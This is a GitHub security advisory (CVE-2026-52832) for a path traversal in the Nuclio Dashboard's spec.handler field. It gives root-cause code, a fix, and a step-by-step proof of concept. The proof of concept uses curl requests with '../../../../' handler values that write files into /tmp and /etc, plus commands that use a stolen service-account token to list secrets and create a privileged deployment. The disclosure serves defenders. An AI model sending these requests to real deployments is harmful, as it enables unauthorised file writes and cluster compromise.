Skip to content

Nuclio: Unauthenticated path traversal in spec.handler allows arbitrary file write in Dashboard container

Moderate severity GitHub Reviewed Published Jun 5, 2026 in nuclio/nuclio

Package

gomod github.com/nuclio/nuclio (Go)

Affected versions

< 1.16.5

Patched versions

1.16.5

Description

Summary

Nuclio Dashboard exposes POST /api/functions without authentication by default (NOP auth mode). The spec.handler field (e.g., mymodule:myfunction) is parsed by functionconfig.ParseHandler() which splits on : only — no path validation is applied to the module portion.

During function build, writeFunctionSourceCodeToTempFile() passes the module name directly to path.Join(tempDir, moduleFileName). Go's path.Join internally calls path.Clean, which resolves ../ sequences and allows the resolved path to escape tempDir. The function then calls os.WriteFile at the attacker-controlled path with attacker-controlled content (base64-decoded spec.build.functionSourceCode).

The write executes in the Dashboard container process running as uid=0 (root), allowing writes to any filesystem location the process can access: /tmp, /etc, /usr/local/bin, /etc/cron.d, and more.

  • CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N — 7.5 (High)
  • CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
  • Affected versions: Nuclio <= 1.15.27 (latest at time of research, dynamically verified)

Details

Root Cause

The vulnerability spans three functions. The path from user input to disk write is:

1. ParseHandler — no path validation (pkg/functionconfig/handler.go:25-38):

// pkg/functionconfig/handler.go:25-38
func ParseHandler(handler string) (string, string, error) {
    moduleAndEntrypoint := strings.Split(handler, ":")
    switch len(moduleAndEntrypoint) {
    case 1:
        return "", moduleAndEntrypoint[0], nil
    case 2:
        // Returns moduleFileName verbatim — no path sanitization
        return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil
    default:
        return "", "", errors.Errorf("Invalid handler name %s", handler)
    }
}

Input "../../../../tmp/vul007_proof.txt:handler" returns moduleFileName = "../../../../tmp/vul007_proof.txt".

2. writeFunctionSourceCodeToTempFile — unsafe path construction (pkg/processor/build/builder.go:613-661):

// builder.go:624-657 (abridged)
tempDir, err := b.mkDirUnderTemp("source")
// tempDir = /tmp/nuclio-build-<random>/source

runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)

moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)
// moduleFileName = "../../../../tmp/vul007_proof.txt" — attacker-controlled

if !strings.Contains(moduleFileName, ".") {
    moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension)
}
// If moduleFileName already contains ".", no extension is appended
// "../../../../tmp/vul007_proof.txt" contains "." -> stays as-is

sourceFilePath := path.Join(tempDir, moduleFileName)
// path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
// = "/tmp/vul007_proof.txt"   <-- escaped tempDir

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", sourceFilePath)
if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {
    // Writes attacker-controlled bytes to attacker-controlled path

3. cleanupTempDir does not remove the traversal file (builder.go:1047-1061):

// builder.go:1053
err := os.RemoveAll(b.tempDir)
// Only removes /tmp/nuclio-build-<random>/ — traversal file outside this tree persists

Path Traversal Calculation

tempDir  = /tmp/nuclio-build-227825660/source   (depth from /: 3 components)
handler  = "../../../../tmp/vul007_proof.txt:handler"
module   = "../../../../tmp/vul007_proof.txt"

path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007_proof.txt")
= path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007_proof.txt")

Traversal:
  /tmp/nuclio-build-227825660/source  (start)
  ../  -> /tmp/nuclio-build-227825660
  ../  -> /tmp
  ../  -> /  (filesystem root)
  ../  -> /  (cannot go above root)
  tmp/vul007_proof.txt -> /tmp/vul007_proof.txt

The same technique with 4x ../ reaches any path under /tmp, /etc, /usr, etc.

Full Attack Chain

Unauthenticated HTTP client
  -> POST /api/functions (no auth, NOP mode)
       dashboard/resource/function.go:156 storeAndDeployFunction()
  -> platform.CreateFunction()
       platform/kube/platform.go:193
  -> abstract/platform.go:191 HandleDeployFunction()
  -> abstract/platform.go:119 CreateFunctionBuild()
  -> builder.Build()
       processor/build/builder.go:195
  -> builder.resolveFunctionPath()
       builder.go:664
  -> builder.writeFunctionSourceCodeToTempFile()   <-- file write here
       builder.go:613
  -> os.WriteFile(attacker_path, attacker_content, 0644)
       builder.go:657

PoC — Steps to Reproduce

Environment Setup

The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.

Step 1: Create isolated kind cluster with Docker socket mounted

The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:

cat > /tmp/kind-vul007-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  extraMounts:
  - hostPath: /var/run/docker.sock
    containerPath: /var/run/docker.sock
EOF

kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml

Expected output:

Creating cluster "vul-007" ...
 ✓ Ensuring node image (kindest/node:v1.27.3)
 ✓ Preparing nodes
 ✓ Writing configuration
 ✓ Starting control-plane
 ✓ Installing CNI
 ✓ Installing StorageClass
Set kubectl context to "kind-vul-007"

Verify Docker socket is available inside the cluster node:

docker exec vul-007-control-plane ls -la /var/run/docker.sock
# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock

Step 2: Deploy Nuclio via Helm

# Create namespace
kubectl --context kind-vul-007 create namespace nuclio

# Load container images (if pre-pulled)
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007

# Install with Helm (chart from source: hack/k8s/helm/nuclio)
helm install nuclio ./hack/k8s/helm/nuclio \
  --namespace nuclio \
  --kube-context kind-vul-007 \
  --set controller.image.pullPolicy=Never \
  --set dashboard.image.pullPolicy=Never \
  --set registry.pushPullUrl="localhost:5000" \
  --set dashboard.containerBuilderKind=docker

Step 3: Wait for Dashboard to be ready

kubectl --context kind-vul-007 wait -n nuclio \
  --for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s

# Expected:
# pod/nuclio-dashboard-b4c5bb96f-txjkt condition met

Step 4: Expose Dashboard locally

kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &
sleep 3

# Verify Dashboard is accessible
curl -s -o /dev/null -w "HTTP %{http_code}\n" http://localhost:8073/api/functions
# HTTP 200

Step 5: Create default project (required by Dashboard API)

curl -s -X POST http://localhost:8073/api/projects \
  -H "Content-Type: application/json" \
  -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'

Exploitation

Step 6: Send path traversal request

The handler field ../../../../tmp/vul007_proof.txt:handler instructs the build pipeline to write functionSourceCode content to /tmp/vul007_proof.txt inside the Dashboard container.

curl -v -X POST http://localhost:8073/api/functions \
  -H "Content-Type: application/json" \
  -H "x-nuclio-project-name: default" \
  -d '{
    "metadata": {"name": "vul007-poc", "namespace": "nuclio"},
    "spec": {
      "runtime": "python:3.11",
      "handler": "../../../../tmp/vul007_proof.txt:handler",
      "build": {
        "functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw=="
      },
      "minReplicas": 0,
      "maxReplicas": 1
    }
  }'

functionSourceCode base64 decoded: PROVED-PATH-TRAVERSAL-VUL007

Expected response:

HTTP/1.1 202 Accepted

Step 7: Observe Dashboard build logs

kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \
  | grep -E "temporary dir|Writing function source"

Actual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):

26.05.17 14:55:02.225 (D) dashboard.server.api/functions  Created temporary dir
  {"dir": "/tmp/nuclio-build-227825660/source"}

26.05.17 14:55:02.225 (D) dashboard.server.api/functions  Writing function source code to temporary file
  {"functionPath": "/tmp/vul007_proof.txt"}

The log confirms functionPath resolved to /tmp/vul007_proof.txt, which is
outside the tempDir /tmp/nuclio-build-227825660/source. Path traversal is confirmed.

Step 8: Verify file written to traversal path

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- cat /tmp/vul007_proof.txt

Output:

PROVED-PATH-TRAVERSAL-VUL007

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- ls -la /tmp/vul007_proof.txt

Output:

-rw-r--r--    1 root     root            28 May 17 14:55 /tmp/vul007_proof.txt

Step 9: Write to /etc/ — broader impact demonstration

curl -s -X POST http://localhost:8073/api/functions \
  -H "Content-Type: application/json" \
  -H "x-nuclio-project-name: default" \
  -d '{
    "metadata": {"name": "vul007-poc2", "namespace": "nuclio"},
    "spec": {
      "runtime": "python:3.11",
      "handler": "../../../../etc/vul007-marker.txt:handler",
      "build": {
        "functionSourceCode": "VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q="
      }
    }
  }'

Log evidence:

26.05.17 14:55:50.666 (D) dashboard.server.api/functions  Writing function source code to temporary file
  {"functionPath": "/etc/vul007-marker.txt"}

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
  -- cat /etc/vul007-marker.txt
# VUL007-PERSISTENT-MARKER-root

Cleanup

kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true
kind delete cluster --name vul-007

Impact

Direct Impact

An unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.

Demonstrated write targets:

  • /tmp/ — confirmed (primary PoC)
  • /etc/ — confirmed (secondary PoC)

Potential high-impact write targets:

  • /etc/cron.d/ — write a cron job entry; if a cron daemon runs in the container, this
    achieves scheduled arbitrary command execution inside the container
  • /usr/local/bin/<name> — overwrite a binary called by dashboard processes
  • Any file path accessible by root within the container filesystem

Privilege Escalation

The Dashboard container runs as uid=0 (root). Its mounted Kubernetes ServiceAccount (nuclio-dashboard) holds the following RBAC permissions in the nuclio namespace:

Resources         Verbs
secrets           [*]
deployments.apps  [*]
pods              [*]
configmaps        [*]
services          [*]
cronjobs.batch    [*]

Verification: Using the SA token directly against the Kubernetes API:

# List secrets — HTTP 200
curl -k -H "Authorization: Bearer $SA_TOKEN" \
  "$K8S_API/api/v1/namespaces/nuclio/secrets"
# => returns helm release secret, nuclio SA secret

# Create privileged Deployment — HTTP 201
curl -k -X POST -H "Authorization: Bearer $SA_TOKEN" \
  -H "Content-Type: application/json" \
  "$K8S_API/apis/apps/v1/namespaces/nuclio/deployments" \
  -d '{"spec":{"template":{"spec":{"containers":[{"name":"t","image":"busybox","securityContext":{"privileged":true}}]}}}}'
# HTTP_CODE:201

An attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the nuclio namespace, potentially escalating to cluster-level access depending on cluster configuration.

Scope

The file write is bounded to the Dashboard container filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.

Severity

CVSS 3.1 Score: 7.5 (High)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Metric Value Rationale
Attack Vector Network Dashboard API reachable over network
Attack Complexity Low Single HTTP request, no race condition
Privileges Required None Default NOP auth mode requires no credentials
User Interaction None Fully automated
Scope Unchanged Write confined to Dashboard container
Confidentiality None No data read in primary attack path
Integrity High Arbitrary file write as root in container
Availability None No service disruption caused by write

Affected Versions

  • Nuclio <= 1.15.27 (latest release at time of research)
  • Dynamically verified against quay.io/nuclio/dashboard:1.15.27-amd64 on 2026-05-17

The vulnerable code path (writeFunctionSourceCodeToTempFile in pkg/processor/build/builder.go)
has been present since the functionSourceCode inline code feature was introduced.

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.5

Workarounds

Option 1: Enable authentication on the Dashboard

Set NUCLIO_AUTH_KIND to a non-NOP value (e.g., iguazio) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.

# In Dashboard deployment env
- name: NUCLIO_AUTH_KIND
  value: "iguazio"

Option 2: Network-level access control

Restrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.

Option 3: Drop root privileges in the Dashboard container

Run the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.

Remediation

Add a path boundary check in writeFunctionSourceCodeToTempFile after constructing sourceFilePath:

// pkg/processor/build/builder.go — fix for writeFunctionSourceCodeToTempFile
sourceFilePath := path.Join(tempDir, moduleFileName)

// Verify resolved path is within tempDir
absPath, err := filepath.Abs(sourceFilePath)
if err != nil {
    return "", errors.Wrap(err, "Failed to resolve absolute path")
}
absTempDir, err := filepath.Abs(tempDir)
if err != nil {
    return "", errors.Wrap(err, "Failed to resolve absolute tempDir")
}
if !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) {
    return "", errors.Errorf(
        "handler module path escapes build directory: %s", moduleFileName)
}

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", absPath)
if err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {

Alternatively, reject any handler module name containing path separator characters before the build pipeline is invoked (at API request validation time).

Resources

References

@rokatyy rokatyy published to nuclio/nuclio Jun 5, 2026
Published to the GitHub Advisory Database Jul 16, 2026
Reviewed Jul 16, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

CVE ID

CVE-2026-52832

GHSA ID

GHSA-wpcj-rmv4-86qg

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.